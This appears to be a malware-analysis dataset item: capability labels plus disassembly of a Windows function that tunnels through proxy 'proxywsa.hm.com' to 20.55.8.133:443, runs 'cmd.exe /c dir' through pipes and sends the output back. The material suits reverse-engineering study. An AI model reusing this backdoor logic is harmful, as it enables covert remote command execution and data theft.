Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create pipe
Create process on windows
Create tcp socket
Create two anonymous pipes
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
sub rsp, 0x6f0
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x4c0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x14000149b
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.WSAStartup_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
jmp 0x140001afe
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x668], rax
cmp qword [rbp + 0x668], 0xffffffffffffffff
jne 0x140001503
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.WSASocket_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
lea rax, str.proxywsa.hm.com
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
jne 0x140001562
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.gethostbyname_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
mov word [rbp + 0x4b0], 2
mov ecx, 0x1f90
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x4b2], ax
mov rax, qword [rbp + 0x660]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x660]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp + 0x4b0]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
lea rdx, [rbp + 0x4b0]
mov rax, qword [rbp + 0x668]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
jne 0x140001610
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Connection_to_proxy_server_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
lea rax, [rbp - 0x20]
mov dword [rsp + 0x28], 0x1bb
lea rdx, str.20.55.8.133
mov qword [rsp + 0x20], rdx
mov r9d, 0x1bb
lea r8, str.20.55.8.133
lea rdx, str.CONNECT__s:_d_HTTP_1.1_r_nHost:__s:_d_r_n_r_n
mov rcx, rax
call dbg.sprintf
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x668]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
jne 0x1400016b2
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.HTTP_CONNECT_request_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x668]
mov r9d, 0
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x24]
test eax, eax
jg 0x14000171a
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_receive_proxy_server_response_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
mov eax, dword [rbp - 0x24]
cdqe
mov byte [rbp + rax - 0x20], 0
lea rax, [rbp - 0x20]
lea rdx, str.200_Connection_established
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x140001773
lea rax, [rbp - 0x20]
mov rdx, rax
lea rax, str.Proxy_connection_failed:__s_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
mov dword [rbp + 0x400], 0x18
mov dword [rbp + 0x410], 1
mov qword [rbp + 0x408], 0
lea rcx, [rbp + 0x400]
lea rdx, [rbp + 0x3f0]
lea rax, [rbp + 0x3f8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x1400017fb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreatePipe_for_read_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
lea rcx, [rbp + 0x400]
lea rdx, [rbp + 0x3e0]
lea rax, [rbp + 0x3e8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
jne 0x14000188a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreatePipe_for_write_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
lea rax, [rbp + 0x440]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x440], 0x68
mov dword [rbp + 0x47c], 0x100
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x490], rax
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x4a0], rax
lea rax, [rbp + 0x420]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x440]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe__c_dir
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400019fe
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed_with_error:__d_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
jmp 0x1400019fe
mov eax, dword [rbp - 0x24]
cdqe
mov byte [rbp + rax - 0x20], 0
mov ecx, dword [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x668]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x3f8]
lea rcx, [rbp - 0x24]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x140001a36
mov eax, dword [rbp - 0x24]
test eax, eax
jne 0x1400019d1
mov rax, qword [rbp + 0x420]
lea rdx, [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov eax, dword [rbp - 0x28]
cmp eax, 0x103
je 0x140001aeb
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x428]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x668]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x140001afe
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400019cf
add rsp, 0x6f0
pop rbp
ret